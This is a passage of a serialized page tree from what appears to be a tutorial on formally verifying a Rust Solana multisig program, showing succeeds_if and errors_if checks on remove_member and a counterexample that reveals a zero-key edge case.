new_index",{"type":23,"tag":134,"props":25744,"children":25745},{"style":168},[25746],{"type":28,"value":171},{"type":23,"tag":134,"props":25748,"children":25749},{"style":162},[25750],{"type":28,"value":25334},{"type":23,"tag":134,"props":25752,"children":25753},{"style":168},[25754],{"type":28,"value":720},{"type":23,"tag":134,"props":25756,"children":25757},{"style":179},[25758],{"type":28,"value":14143},{"type":23,"tag":134,"props":25760,"children":25761},{"style":168},[25762],{"type":28,"value":720},{"type":23,"tag":134,"props":25764,"children":25765},{"style":179},[25766],{"type":28,"value":23295},{"type":23,"tag":134,"props":25768,"children":25769},{"style":168},[25770],{"type":28,"value":720},{"type":23,"tag":134,"props":25772,"children":25773},{"style":179},[25774],{"type":28,"value":25775},"transaction_index;\n",{"type":23,"tag":134,"props":25777,"children":25778},{"class":136,"line":8571},[25779,25783,25787,25791,25795,25799,25803,25808,25812,25817],{"type":23,"tag":134,"props":25780,"children":25781},{"style":162},[25782],{"type":28,"value":19701},{"type":23,"tag":134,"props":25784,"children":25785},{"style":168},[25786],{"type":28,"value":720},{"type":23,"tag":134,"props":25788,"children":25789},{"style":179},[25790],{"type":28,"value":14143},{"type":23,"tag":134,"props":25792,"children":25793},{"style":168},[25794],{"type":28,"value":720},{"type":23,"tag":134,"props":25796,"children":25797},{"style":179},[25798],{"type":28,"value":23295},{"type":23,"tag":134,"props":25800,"children":25801},{"style":168},[25802],{"type":28,"value":720},{"type":23,"tag":134,"props":25804,"children":25805},{"style":264},[25806],{"type":28,"value":25807},"set_change_index",{"type":23,"tag":134,"props":25809,"children":25810},{"style":179},[25811],{"type":28,"value":272},{"type":23,"tag":134,"props":25813,"children":25814},{"style":162},[25815],{"type":28,"value":25816},"new_index",{"type":23,"tag":134,"props":25818,"children":25819},{"style":179},[25820],{"type":28,"value":329},{"type":23,"tag":134,"props":25822,"children":25823},{"class":136,"line":8677},[25824],{"type":23,"tag":134,"props":25825,"children":25826},{"style":179},[25827],{"type":28,"value":1098},{"type":23,"tag":24,"props":25829,"children":25830},{},[25831,25833,25838],{"type":28,"value":25832},"First let's establish the ",{"type":23,"tag":92,"props":25834,"children":25836},{"className":25835},[],[25837],{"type":28,"value":19632},{"type":28,"value":25839}," condition. We can do this either interactively, following counterexamples like in the first example or we can guess what a sufficient condition might be:",{"type":23,"tag":87,"props":25841,"children":25843},{"code":25842,"language":127,"meta":7,"className":128,"style":7},"#[succeeds_if(\n    ctx.accounts.multisig.keys.len() > 1\n)]\nfn remove_member(...) { ... }\n",[25844],{"type":23,"tag":92,"props":25845,"children":25846},{"__ignoreMap":7},[25847,25854,25901,25908],{"type":23,"tag":134,"props":25848,"children":25849},{"class":136,"line":137},[25850],{"type":23,"tag":134,"props":25851,"children":25852},{"style":179},[25853],{"type":28,"value":23602},{"type":23,"tag":134,"props":25855,"children":25856},{"class":136,"line":147},[25857,25861,25865,25869,25873,25877,25881,25885,25889,25893,25897],{"type":23,"tag":134,"props":25858,"children":25859},{"style":179},[25860],{"type":28,"value":19701},{"type":23,"tag":134,"props":25862,"children":25863},{"style":168},[25864],{"type":28,"value":720},{"type":23,"tag":134,"props":25866,"children":25867},{"style":179},[25868],{"type":28,"value":14143},{"type":23,"tag":134,"props":25870,"children":25871},{"style":168},[25872],{"type":28,"value":720},{"type":23,"tag":134,"props":25874,"children":25875},{"style":179},[25876],{"type":28,"value":23295},{"type":23,"tag":134,"props":25878,"children":25879},{"style":168},[25880],{"type":28,"value":720},{"type":23,"tag":134,"props":25882,"children":25883},{"style":179},[25884],{"type":28,"value":20461},{"type":23,"tag":134,"props":25886,"children":25887},{"style":168},[25888],{"type":28,"value":720},{"type":23,"tag":134,"props":25890,"children":25891},{"style":179},[25892],{"type":28,"value":20499},{"type":23,"tag":134,"props":25894,"children":25895},{"style":168},[25896],{"type":28,"value":9927},{"type":23,"tag":134,"props":25898,"children":25899},{"style":179},[25900],{"type":28,"value":18919},{"type":23,"tag":134,"props":25902,"children":25903},{"class":136,"line":185},[25904],{"type":23,"tag":134,"props":25905,"children":25906},{"style":179},[25907],{"type":28,"value":19736},{"type":23,"tag":134,"props":25909,"children":25910},{"class":136,"line":221},[25911,25915,25919,25923,25927,25931,25935],{"type":23,"tag":134,"props":25912,"children":25913},{"style":151},[25914],{"type":28,"value":19744},{"type":23,"tag":134,"props":25916,"children":25917},{"style":264},[25918],{"type":28,"value":25256},{"type":23,"tag":134,"props":25920,"children":25921},{"style":179},[25922],{"type":28,"value":272},{"type":23,"tag":134,"props":25924,"children":25925},{"style":168},[25926],{"type":28,"value":9054},{"type":23,"tag":134,"props":25928,"children":25929},{"style":179},[25930],{"type":28,"value":23479},{"type":23,"tag":134,"props":25932,"children":25933},{"style":168},[25934],{"type":28,"value":9054},{"type":23,"tag":134,"props":25936,"children":25937},{"style":179},[25938],{"type":28,"value":9059},{"type":23,"tag":24,"props":25940,"children":25941},{},[25942,25944,25949],{"type":28,"value":25943},"And for now let's remove the invariant on the ",{"type":23,"tag":92,"props":25945,"children":25947},{"className":25946},[],[25948],{"type":28,"value":22220},{"type":28,"value":25950}," account:",{"type":23,"tag":87,"props":25952,"children":25954},{"code":25953,"language":127,"meta":7,"className":128,"style":7},"#[invariant()]\npub struct Ms { ... }\n",[25955],{"type":23,"tag":92,"props":25956,"children":25957},{"__ignoreMap":7},[25958,25966],{"type":23,"tag":134,"props":25959,"children":25960},{"class":136,"line":137},[25961],{"type":23,"tag":134,"props":25962,"children":25963},{"style":179},[25964],{"type":28,"value":25965},"#[invariant()]\n",{"type":23,"tag":134,"props":25967,"children":25968},{"class":136,"line":147},[25969,25973,25977,25981,25985,25989],{"type":23,"tag":134,"props":25970,"children":25971},{"style":151},[25972],{"type":28,"value":13158},{"type":23,"tag":134,"props":25974,"children":25975},{"style":151},[25976],{"type":28,"value":20629},{"type":23,"tag":134,"props":25978,"children":25979},{"style":597},[25980],{"type":28,"value":20634},{"type":23,"tag":134,"props":25982,"children":25983},{"style":179},[25984],{"type":28,"value":9049},{"type":23,"tag":134,"props":25986,"children":25987},{"style":168},[25988],{"type":28,"value":9054},{"type":23,"tag":134,"props":25990,"children":25991},{"style":179},[25992],{"type":28,"value":9059},{"type":23,"tag":24,"props":25994,"children":25995},{},[25996],{"type":28,"value":25997},"Let's test this!",{"type":23,"tag":24,"props":25999,"children":26000},{},[26001,26003,26008],{"type":28,"value":26002},"Our ",{"type":23,"tag":92,"props":26004,"children":26006},{"className":26005},[],[26007],{"type":28,"value":19632},{"type":28,"value":26009}," harness produces:",{"type":23,"tag":87,"props":26011,"children":26013},{"code":26012},"VERIFICATION:- SUCCESSFUL\nVerification Time: 28.119272s\n",[26014],{"type":23,"tag":92,"props":26015,"children":26016},{"__ignoreMap":7},[26017],{"type":28,"value":26012},{"type":23,"tag":24,"props":26019,"children":26020},{},[26021],{"type":28,"value":26022},"This tells us that if our multisig has at least two keys then the instruction will succeed.",{"type":23,"tag":24,"props":26024,"children":26025},{},[26026,26028,26033],{"type":28,"value":26027},"However, remember that since ",{"type":23,"tag":92,"props":26029,"children":26031},{"className":26030},[],[26032],{"type":28,"value":19632},{"type":28,"value":26034}," represents just the sufficient conditions, there may be other cases where the function succeeds.",{"type":23,"tag":24,"props":26036,"children":26037},{},[26038,26040,26045,26047,26052,26054,26059],{"type":28,"value":26039},"Suppose we want to be sure that this condition is the ",{"type":23,"tag":55,"props":26041,"children":26042},{},[26043],{"type":28,"value":26044},"only condition",{"type":28,"value":26046}," in which the function will succeed (i.e. ",{"type":23,"tag":55,"props":26048,"children":26049},{},[26050],{"type":28,"value":26051},"\"the function will succeed if and only if the multisig has at least two keys\"",{"type":28,"value":26053},"). We could attempt to verify the other side of this with an ",{"type":23,"tag":92,"props":26055,"children":26057},{"className":26056},[],[26058],{"type":28,"value":19639},{"type":28,"value":26060}," macro such as:",{"type":23,"tag":87,"props":26062,"children":26064},{"code":26063,"language":127,"meta":7,"className":128,"style":7},"#[succeeds_if(\n    ctx.accounts.multisig.keys.len() > 1\n)]\n#[errors_if(\n    ctx.accounts.multisig.keys.len() \u003C= 1\n)]\nfn remove_member(...) { ... }\n",[26065],{"type":23,"tag":92,"props":26066,"children":26067},{"__ignoreMap":7},[26068,26075,26122,26129,26136,26183,26190],{"type":23,"tag":134,"props":26069,"children":26070},{"class":136,"line":137},[26071],{"type":23,"tag":134,"props":26072,"children":26073},{"style":179},[26074],{"type":28,"value":23602},{"type":23,"tag":134,"props":26076,"children":26077},{"class":136,"line":147},[26078,26082,26086,26090,26094,26098,26102,26106,26110,26114,26118],{"type":23,"tag":134,"props":26079,"children":26080},{"style":179},[26081],{"type":28,"value":19701},{"type":23,"tag":134,"props":26083,"children":26084},{"style":168},[26085],{"type":28,"value":720},{"type":23,"tag":134,"props":26087,"children":26088},{"style":179},[26089],{"type":28,"value":14143},{"type":23,"tag":134,"props":26091,"children":26092},{"style":168},[26093],{"type":28,"value":720},{"type":23,"tag":134,"props":26095,"children":26096},{"style":179},[26097],{"type":28,"value":23295},{"type":23,"tag":134,"props":26099,"children":26100},{"style":168},[26101],{"type":28,"value":720},{"type":23,"tag":134,"props":26103,"children":26104},{"style":179},[26105],{"type":28,"value":20461},{"type":23,"tag":134,"props":26107,"children":26108},{"style":168},[26109],{"type":28,"value":720},{"type":23,"tag":134,"props":26111,"children":26112},{"style":179},[26113],{"type":28,"value":20499},{"type":23,"tag":134,"props":26115,"children":26116},{"style":168},[26117],{"type":28,"value":9927},{"type":23,"tag":134,"props":26119,"children":26120},{"style":179},[26121],{"type":28,"value":18919},{"type":23,"tag":134,"props":26123,"children":26124},{"class":136,"line":185},[26125],{"type":23,"tag":134,"props":26126,"children":26127},{"style":179},[26128],{"type":28,"value":19736},{"type":23,"tag":134,"props":26130,"children":26131},{"class":136,"line":221},[26132],{"type":23,"tag":134,"props":26133,"children":26134},{"style":179},[26135],{"type":28,"value":19693},{"type":23,"tag":134,"props":26137,"children":26138},{"class":136,"line":332},[26139,26143,26147,26151,26155,26159,26163,26167,26171,26175,26179],{"type":23,"tag":134,"props":26140,"children":26141},{"style":179},[26142],{"type":28,"value":19701},{"type":23,"tag":134,"props":26144,"children":26145},{"style":168},[26146],{"type":28,"value":720},{"type":23,"tag":134,"props":26148,"children":26149},{"style":179},[26150],{"type":28,"value":14143},{"type":23,"tag":134,"props":26152,"children":26153},{"style":168},[26154],{"type":28,"value":720},{"type":23,"tag":134,"props":26156,"children":26157},{"style":179},[26158],{"type":28,"value":23295},{"type":23,"tag":134,"props":26160,"children":26161},{"style":168},[26162],{"type":28,"value":720},{"type":23,"tag":134,"props":26164,"children":26165},{"style":179},[26166],{"type":28,"value":20461},{"type":23,"tag":134,"props":26168,"children":26169},{"style":168},[26170],{"type":28,"value":720},{"type":23,"tag":134,"props":26172,"children":26173},{"style":179},[26174],{"type":28,"value":20499},{"type":23,"tag":134,"props":26176,"children":26177},{"style":168},[26178],{"type":28,"value":18891},{"type":23,"tag":134,"props":26180,"children":26181},{"style":179},[26182],{"type":28,"value":18919},{"type":23,"tag":134,"props":26184,"children":26185},{"class":136,"line":438},[26186],{"type":23,"tag":134,"props":26187,"children":26188},{"style":179},[26189],{"type":28,"value":19736},{"type":23,"tag":134,"props":26191,"children":26192},{"class":136,"line":466},[26193,26197,26201,26205,26209,26213,26217],{"type":23,"tag":134,"props":26194,"children":26195},{"style":151},[26196],{"type":28,"value":19744},{"type":23,"tag":134,"props":26198,"children":26199},{"style":264},[26200],{"type":28,"value":25256},{"type":23,"tag":134,"props":26202,"children":26203},{"style":179},[26204],{"type":28,"value":272},{"type":23,"tag":134,"props":26206,"children":26207},{"style":168},[26208],{"type":28,"value":9054},{"type":23,"tag":134,"props":26210,"children":26211},{"style":179},[26212],{"type":28,"value":23479},{"type":23,"tag":134,"props":26214,"children":26215},{"style":168},[26216],{"type":28,"value":9054},{"type":23,"tag":134,"props":26218,"children":26219},{"style":179},[26220],{"type":28,"value":9059},{"type":23,"tag":24,"props":26222,"children":26223},{},[26224,26226,26231],{"type":28,"value":26225},"Let's test this, we just need to run the new ",{"type":23,"tag":92,"props":26227,"children":26229},{"className":26228},[],[26230],{"type":28,"value":19639},{"type":28,"value":26232}," harness:",{"type":23,"tag":87,"props":26234,"children":26236},{"code":26235},"VERIFICATION:- FAILED\nVerification Time: 31.900913s\n",[26237],{"type":23,"tag":92,"props":26238,"children":26239},{"__ignoreMap":7},[26240],{"type":28,"value":26235},{"type":23,"tag":24,"props":26242,"children":26243},{},[26244],{"type":28,"value":26245},"Hmm, this verification failed! Let's look at the counterexample. The multisig it is trying to remove a member from looks like:",{"type":23,"tag":87,"props":26247,"children":26249},{"code":26248,"language":127,"meta":7,"className":128,"style":7},"Account {\n    account: Ms {\n        threshold: 0,\n        authority_index: 0,\n        transaction_index: 0,\n        ms_change_index: 0,\n        bump: 0,\n        create_key: ...,\n        allow_external_execute: false,\n        keys: Vec {\n            data: ...,\n            size: 0,\n        },\n    },\n    info: AccountInfo { ... },\n}\n",[26250],{"type":23,"tag":92,"props":26251,"children":26252},{"__ignoreMap":7},[26253,26264,26283,26302,26321,26340,26359,26378,26397,26416,26435,26455,26474,26481,26488,26515],{"type":23,"tag":134,"props":26254,"children":26255},{"class":136,"line":137},[26256,26260],{"type":23,"tag":134,"props":26257,"children":26258},{"style":597},[26259],{"type":28,"value":16618},{"type":23,"tag":134,"props":26261,"children":26262},{"style":179},[26263],{"type":28,"value":463},{"type":23,"tag":134,"props":26265,"children":26266},{"class":136,"line":147},[26267,26271,26275,26279],{"type":23,"tag":134,"props":26268,"children":26269},{"style":162},[26270],{"type":28,"value":24662},{"type":23,"tag":134,"props":26272,"children":26273},{"style":168},[26274],{"type":28,"value":1697},{"type":23,"tag":134,"props":26276,"children":26277},{"style":597},[26278],{"type":28,"value":20634},{"type":23,"tag":134,"props":26280,"children":26281},{"style":179},[26282],{"type":28,"value":463},{"type":23,"tag":134,"props":26284,"children":26285},{"class":136,"line":185},[26286,26290,26294,26298],{"type":23,"tag":134,"props":26287,"children":26288},{"style":162},[26289],{"type":28,"value":23316},{"type":23,"tag":134,"props":26291,"children":26292},{"style":168},[26293],{"type":28,"value":1697},{"type":23,"tag":134,"props":26295,"children":26296},{"style":205},[26297],{"type":28,"value":208},{"type":23,"tag":134,"props":26299,"children":26300},{"style":179},[26301],{"type":28,"value":687},{"type":23,"tag":134,"props":26303,"children":26304},{"class":136,"line":221},[26305,26309,26313,26317],{"type":23,"tag":134,"props":26306,"children":26307},{"style":162},[26308],{"type":28,"value":24702},{"type":23,"tag":134,"props":26310,"children":26311},{"style":168},[26312],{"type":28,"value":1697},{"type":23,"tag":134,"props":26314,"children":26315},{"style":205},[26316],{"type":28,"value":208},{"type":23,"tag":134,"props":26318,"children":26319},{"style":179},[26320],{"type":28,"value":687},{"type":23,"tag":134,"props":26322,"children":26323},{"class":136,"line":332},[26324,26328,26332,26336],{"type":23,"tag":134,"props":26325,"children":26326},{"style":162},[26327],{"type":28,"value":24722},{"type":23,"tag":134,"props":26329,"children":26330},{"style":168},[26331],{"type":28,"value":1697},{"type":23,"tag":134,"props":26333,"children":26334},{"style":205},[26335],{"type":28,"value":208},{"type":23,"tag":134,"props":26337,"children":26338},{"style":179},[26339],{"type":28,"value":687},{"type":23,"tag":134,"props":26341,"children":26342},{"class":136,"line":438},[26343,26347,26351,26355],{"type":23,"tag":134,"props":26344,"children":26345},{"style":162},[26346],{"type":28,"value":24742},{"type":23,"tag":134,"props":26348,"children":26349},{"style":168},[26350],{"type":28,"value":1697},{"type":23,"tag":134,"props":26352,"children":26353},{"style":205},[26354],{"type":28,"value":208},{"type":23,"tag":134,"props":26356,"children":26357},{"style":179},[26358],{"type":28,"value":687},{"type":23,"tag":134,"props":26360,"children":26361},{"class":136,"line":466},[26362,26366,26370,26374],{"type":23,"tag":134,"props":26363,"children":26364},{"style":162},[26365],{"type":28,"value":24762},{"type":23,"tag":134,"props":26367,"children":26368},{"style":168},[26369],{"type":28,"value":1697},{"type":23,"tag":134,"props":26371,"children":26372},{"style":205},[26373],{"type":28,"value":208},{"type":23,"tag":134,"props":26375,"children":26376},{"style":179},[26377],{"type":28,"value":687},{"type":23,"tag":134,"props":26379,"children":26380},{"class":136,"line":479},[26381,26385,26389,26393],{"type":23,"tag":134,"props":26382,"children":26383},{"style":162},[26384],{"type":28,"value":23329},{"type":23,"tag":134,"props":26386,"children":26387},{"style":168},[26388],{"type":28,"value":1697},{"type":23,"tag":134,"props":26390,"children":26391},{"style":168},[26392],{"type":28,"value":24790},{"type":23,"tag":134,"props":26394,"children":26395},{"style":179},[26396],{"type":28,"value":687},{"type":23,"tag":134,"props":26398,"children":26399},{"class":136,"line":497},[26400,26404,26408,26412],{"type":23,"tag":134,"props":26401,"children":26402},{"style":162},[26403],{"type":28,"value":24802},{"type":23,"tag":134,"props":26405,"children":26406},{"style":168},[26407],{"type":28,"value":1697},{"type":23,"tag":134,"props":26409,"children":26410},{"style":151},[26411],{"type":28,"value":8519},{"type":23,"tag":134,"props":26413,"children":26414},{"style":179},[26415],{"type":28,"value":687},{"type":23,"tag":134,"props":26417,"children":26418},{"class":136,"line":518},[26419,26423,26427,26431],{"type":23,"tag":134,"props":26420,"children":26421},{"style":162},[26422],{"type":28,"value":24822},{"type":23,"tag":134,"props":26424,"children":26425},{"style":168},[26426],{"type":28,"value":1697},{"type":23,"tag":134,"props":26428,"children":26429},{"style":597},[26430],{"type":28,"value":20867},{"type":23,"tag":134,"props":26432,"children":26433},{"style":179},[26434],{"type":28,"value":463},{"type":23,"tag":134,"props":26436,"children":26437},{"class":136,"line":527},[26438,26443,26447,26451],{"type":23,"tag":134,"props":26439,"children":26440},{"style":162},[26441],{"type":28,"value":26442},"            data",{"type":23,"tag":134,"props":26444,"children":26445},{"style":168},[26446],{"type":28,"value":1697},{"type":23,"tag":134,"props":26448,"children":26449},{"style":168},[26450],{"type":28,"value":24790},{"type":23,"tag":134,"props":26452,"children":26453},{"style":179},[26454],{"type":28,"value":687},{"type":23,"tag":134,"props":26456,"children":26457},{"class":136,"line":780},[26458,26462,26466,26470],{"type":23,"tag":134,"props":26459,"children":26460},{"style":162},[26461],{"type":28,"value":24843},{"type":23,"tag":134,"props":26463,"children":26464},{"style":168},[26465],{"type":28,"value":1697},{"type":23,"tag":134,"props":26467,"children":26468},{"style":205},[26469],{"type":28,"value":208},{"type":23,"tag":134,"props":26471,"children":26472},{"style":179},[26473],{"type":28,"value":687},{"type":23,"tag":134,"props":26475,"children":26476},{"class":136,"line":797},[26477],{"type":23,"tag":134,"props":26478,"children":26479},{"style":179},[26480],{"type":28,"value":24864},{"type":23,"tag":134,"props":26482,"children":26483},{"class":136,"line":814},[26484],{"type":23,"tag":134,"props":26485,"children":26486},{"style":179},[26487],{"type":28,"value":24872},{"type":23,"tag":134,"props":26489,"children":26490},{"class":136,"line":827},[26491,26495,26499,26503,26507,26511],{"type":23,"tag":134,"props":26492,"children":26493},{"style":162},[26494],{"type":28,"value":24880},{"type":23,"tag":134,"props":26496,"children":26497},{"style":168},[26498],{"type":28,"value":1697},{"type":23,"tag":134,"props":26500,"children":26501},{"style":597},[26502],{"type":28,"value":24889},{"type":23,"tag":134,"props":26504,"children":26505},{"style":179},[26506],{"type":28,"value":9049},{"type":23,"tag":134,"props":26508,"children":26509},{"style":168},[26510],{"type":28,"value":9054},{"type":23,"tag":134,"props":26512,"children":26513},{"style":179},[26514],{"type":28,"value":24902},{"type":23,"tag":134,"props":26516,"children":26517},{"class":136,"line":836},[26518],{"type":23,"tag":134,"props":26519,"children":26520},{"style":179},[26521],{"type":28,"value":1098},{"type":23,"tag":24,"props":26523,"children":26524},{},[26525],{"type":28,"value":26526},"Interestingly, the multisig has 0 keys and yet this instruction does not error. Let's take a closer look to figure out why:",{"type":23,"tag":24,"props":26528,"children":26529},{},[26530,26532,26538],{"type":28,"value":26531},"Inside our handler, we see that it only checks if the number of keys exactly equals 1. Otherwise it invokes ",{"type":23,"tag":92,"props":26533,"children":26535},{"className":26534},[],[26536],{"type":28,"value":26537},"Ms::remove_member",{"type":28,"value":1697},{"type":23,"tag":87,"props":26540,"children":26542},{"code":26541,"language":127,"meta":7,"className":128,"style":7},"if ctx.accounts.multisig.keys.len() == 1 {\n    return err!(MsError::CannotRemoveSoloMember);\n}\nctx.accounts.multisig.remove_member(old_member)?;\n",[26543],{"type":23,"tag":92,"props":26544,"children":26545},{"__ignoreMap":7},[26546,26605,26636,26643],{"type":23,"tag":134,"props":26547,"children":26548},{"class":136,"line":137},[26549,26553,26557,26561,26565,26569,26573,26577,26581,26585,26589,26593,26597,26601],{"type":23,"tag":134,"props":26550,"children":26551},{"style":189},[26552],{"type":28,"value":15049},{"type":23,"tag":134,"props":26554,"children":26555},{"style":162},[26556],{"type":28,"value":25334},{"type":23,"tag":134,"props":26558,"children":26559},{"style":168},[26560],{"type":28,"value":720},{"type":23,"tag":134,"props":26562,"children":26563},{"style":179},[26564],{"type":28,"value":14143},{"type":23,"tag":134,"props":26566,"children":26567},{"style":168},[26568],{"type":28,"value":720},{"type":23,"tag":134,"props":26570,"children":26571},{"style":179},[26572],{"type":28,"value":23295},{"type":23,"tag":134,"props":26574,"children":26575},{"style":168},[26576],{"type":28,"value":720},{"type":23,"tag":134,"props":26578,"children":26579},{"style":179},[26580],{"type":28,"value":20461},{"type":23,"tag":134,"props":26582,"children":26583},{"style":168},[26584],{"type":28,"value":720},{"type":23,"tag":134,"props":26586,"children":26587},{"style":264},[26588],{"type":28,"value":8601},{"type":23,"tag":134,"props":26590,"children":26591},{"style":179},[26592],{"type":28,"value":13511},{"type":23,"tag":134,"props":26594,"children":26595},{"style":168},[26596],{"type":28,"value":8035},{"type":23,"tag":134,"props":26598,"children":26599},{"style":205},[26600],{"type":28,"value":1729},{"type":23,"tag":134,"props":26602,"children":26603},{"style":179},[26604],{"type":28,"value":463},{"type":23,"tag":134,"props":26606,"children":26607},{"class":136,"line":147},[26608,26612,26616,26620,26624,26628,26632],{"type":23,"tag":134,"props":26609,"children":26610},{"style":189},[26611],{"type":28,"value":16461},{"type":23,"tag":134,"props":26613,"children":26614},{"style":264},[26615],{"type":28,"value":22998},{"type":23,"tag":134,"props":26617,"children":26618},{"style":179},[26619],{"type":28,"value":272},{"type":23,"tag":134,"props":26621,"children":26622},{"style":597},[26623],{"type":28,"value":23007},{"type":23,"tag":134,"props":26625,"children":26626},{"style":168},[26627],{"type":28,"value":660},{"type":23,"tag":134,"props":26629,"children":26630},{"style":597},[26631],{"type":28,"value":25410},{"type":23,"tag":134,"props":26633,"children":26634},{"style":179},[26635],{"type":28,"value":1021},{"type":23,"tag":134,"props":26637,"children":26638},{"class":136,"line":185},[26639],{"type":23,"tag":134,"props":26640,"children":26641},{"style":179},[26642],{"type":28,"value":1098},{"type":23,"tag":134,"props":26644,"children":26645},{"class":136,"line":221},[26646,26650,26654,26658,26662,26666,26670,26674,26678,26682,26686,26690],{"type":23,"tag":134,"props":26647,"children":26648},{"style":162},[26649],{"type":28,"value":19758},{"type":23,"tag":134,"props":26651,"children":26652},{"style":168},[26653],{"type":28,"value":720},{"type":23,"tag":134,"props":26655,"children":26656},{"style":179},[26657],{"type":28,"value":14143},{"type":23,"tag":134,"props":26659,"children":26660},{"style":168},[26661],{"type":28,"value":720},{"type":23,"tag":134,"props":26663,"children":26664},{"style":179},[26665],{"type":28,"value":23295},{"type":23,"tag":134,"props":26667,"children":26668},{"style":168},[26669],{"type":28,"value":720},{"type":23,"tag":134,"props":26671,"children":26672},{"style":264},[26673],{"type":28,"value":24957},{"type":23,"tag":134,"props":26675,"children":26676},{"style":179},[26677],{"type":28,"value":272},{"type":23,"tag":134,"props":26679,"children":26680},{"style":162},[26681],{"type":28,"value":25290},{"type":23,"tag":134,"props":26683,"children":26684},{"style":179},[26685],{"type":28,"value":296},{"type":23,"tag":134,"props":26687,"children":26688},{"style":168},[26689],{"type":28,"value":324},{"type":23,"tag":134,"props":26691,"children":26692},{"style":179},[26693],{"type":28,"value":182},{"type":23,"tag":24,"props":26695,"children":26696},{},[26697,26699,26705,26707,26713],{"type":28,"value":26698},"In that function, it checks if the member to remove is contained in that multisig (with ",{"type":23,"tag":92,"props":26700,"children":26702},{"className":26701},[],[26703],{"type":28,"value":26704},"Ms::is_member",{"type":28,"value":26706},") and if it is not, it simply skips the removal and returns ",{"type":23,"tag":92,"props":26708,"children":26710},{"className":26709},[],[26711],{"type":28,"value":26712},"Ok(())",{"type":28,"value":720},{"type":23,"tag":87,"props":26715,"children":26717},{"code":26716,"language":127,"meta":7,"className":128,"style":7},"pub fn remove_member(&mut self, member: Pubkey) -> Result\u003C()> {\n    if let Some(ind) = self.is_member(member) {\n        self.keys.remove(ind);\n        if self.keys.len() \u003C usize::from(self.threshold) {\n            self.threshold = self.keys.len().try_into().unwrap();\n        }\n    }\n    Ok(())\n}\n",[26718],{"type":23,"tag":92,"props":26719,"children":26720},{"__ignoreMap":7},[26721,26785,26844,26881,26940,27008,27015,27022,27033],{"type":23,"tag":134,"props":26722,"children":26723},{"class":136,"line":137},[26724,26728,26732,26736,26740,26744,26748,26752,26756,26761,26765,26769,26773,26777,26781],{"type":23,"tag":134,"props":26725,"children":26726},{"style":151},[26727],{"type":28,"value":13158},{"type":23,"tag":134,"props":26729,"children":26730},{"style":151},[26731],{"type":28,"value":13163},{"type":23,"tag":134,"props":26733,"children":26734},{"style":264},[26735],{"type":28,"value":25256},{"type":23,"tag":134,"props":26737,"children":26738},{"style":179},[26739],{"type":28,"value":272},{"type":23,"tag":134,"props":26741,"children":26742},{"style":168},[26743],{"type":28,"value":277},{"type":23,"tag":134,"props":26745,"children":26746},{"style":151},[26747],{"type":28,"value":914},{"type":23,"tag":134,"props":26749,"children":26750},{"style":151},[26751],{"type":28,"value":13265},{"type":23,"tag":134,"props":26753,"children":26754},{"style":179},[26755],{"type":28,"value":242},{"type":23,"tag":134,"props":26757,"children":26758},{"style":162},[26759],{"type":28,"value":26760},"member",{"type":23,"tag":134,"props":26762,"children":26763},{"style":168},[26764],{"type":28,"value":1697},{"type":23,"tag":134,"props":26766,"children":26767},{"style":597},[26768],{"type":28,"value":20335},{"type":23,"tag":134,"props":26770,"children":26771},{"style":179},[26772],{"type":28,"value":252},{"type":23,"tag":134,"props":26774,"children":26775},{"style":168},[26776],{"type":28,"value":13225},{"type":23,"tag":134,"props":26778,"children":26779},{"style":597},[26780],{"type":28,"value":13230},{"type":23,"tag":134,"props":26782,"children":26783},{"style":179},[26784],{"type":28,"value":19809},{"type":23,"tag":134,"props":26786,"children":26787},{"class":136,"line":147},[26788,26792,26797,26802,26806,26811,26815,26819,26823,26827,26832,26836,26840],{"type":23,"tag":134,"props":26789,"children":26790},{"style":189},[26791],{"type":28,"value":11746},{"type":23,"tag":134,"props":26793,"children":26794},{"style":151},[26795],{"type":28,"value":26796}," let",{"type":23,"tag":134,"props":26798,"children":26799},{"style":597},[26800],{"type":28,"value":26801}," Some",{"type":23,"tag":134,"props":26803,"children":26804},{"style":179},[26805],{"type":28,"value":272},{"type":23,"tag":134,"props":26807,"children":26808},{"style":162},[26809],{"type":28,"value":26810},"ind",{"type":23,"tag":134,"props":26812,"children":26813},{"style":179},[26814],{"type":28,"value":252},{"type":23,"tag":134,"props":26816,"children":26817},{"style":168},[26818],{"type":28,"value":257},{"type":23,"tag":134,"props":26820,"children":26821},{"style":151},[26822],{"type":28,"value":13265},{"type":23,"tag":134,"props":26824,"children":26825},{"style":168},[26826],{"type":28,"value":720},{"type":23,"tag":134,"props":26828,"children":26829},{"style":264},[26830],{"type":28,"value":26831},"is_member",{"type":23,"tag":134,"props":26833,"children":26834},{"style":179},[26835],{"type":28,"value":272},{"type":23,"tag":134,"props":26837,"children":26838},{"style":162},[26839],{"type":28,"value":26760},{"type":23,"tag":134,"props":26841,"children":26842},{"style":179},[26843],{"type":28,"value":14272},{"type":23,"tag":134,"props":26845,"children":26846},{"class":136,"line":185},[26847,26852,26856,26860,26864,26869,26873,26877],{"type":23,"tag":134,"props":26848,"children":26849},{"style":151},[26850],{"type":28,"value":26851},"        self",{"type":23,"tag":134,"props":26853,"children":26854},{"style":168},[26855],{"type":28,"value":720},{"type":23,"tag":134,"props":26857,"children":26858},{"style":179},[26859],{"type":28,"value":20461},{"type":23,"tag":134,"props":26861,"children":26862},{"style":168},[26863],{"type":28,"value":720},{"type":23,"tag":134,"props":26865,"children":26866},{"style":264},[26867],{"type":28,"value":26868},"remove",{"type":23,"tag":134,"props":26870,"children":26871},{"style":179},[26872],{"type":28,"value":272},{"type":23,"tag":134,"props":26874,"children":26875},{"style":162},[26876],{"type":28,"value":26810},{"type":23,"tag":134,"props":26878,"children":26879},{"style":179},[26880],{"type":28,"value":1021},{"type":23,"tag":134,"props":26882,"children":26883},{"class":136,"line":221},[26884,26888,26892,26896,26900,26904,26908,26912,26916,26920,26924,26928,26932,26936],{"type":23,"tag":134,"props":26885,"children":26886},{"style":189},[26887],{"type":28,"value":444},{"type":23,"tag":134,"props":26889,"children":26890},{"style":151},[26891],{"type":28,"value":13265},{"type":23,"tag":134,"props":26893,"children":26894},{"style":168},[26895],{"type":28,"value":720},{"type":23,"tag":134,"props":26897,"children":26898},{"style":179},[26899],{"type":28,"value":20461},{"type":23,"tag":134,"props":26901,"children":26902},{"style":168},[26903],{"type":28,"value":720},{"type":23,"tag":134,"props":26905,"children":26906},{"style":264},[26907],{"type":28,"value":8601},{"type":23,"tag":134,"props":26909,"children":26910},{"style":179},[26911],{"type":28,"value":25535},{"type":23,"tag":134,"props":26913,"children":26914},{"style":597},[26915],{"type":28,"value":16072},{"type":23,"tag":134,"props":26917,"children":26918},{"style":168},[26919],{"type":28,"value":660},{"type":23,"tag":134,"props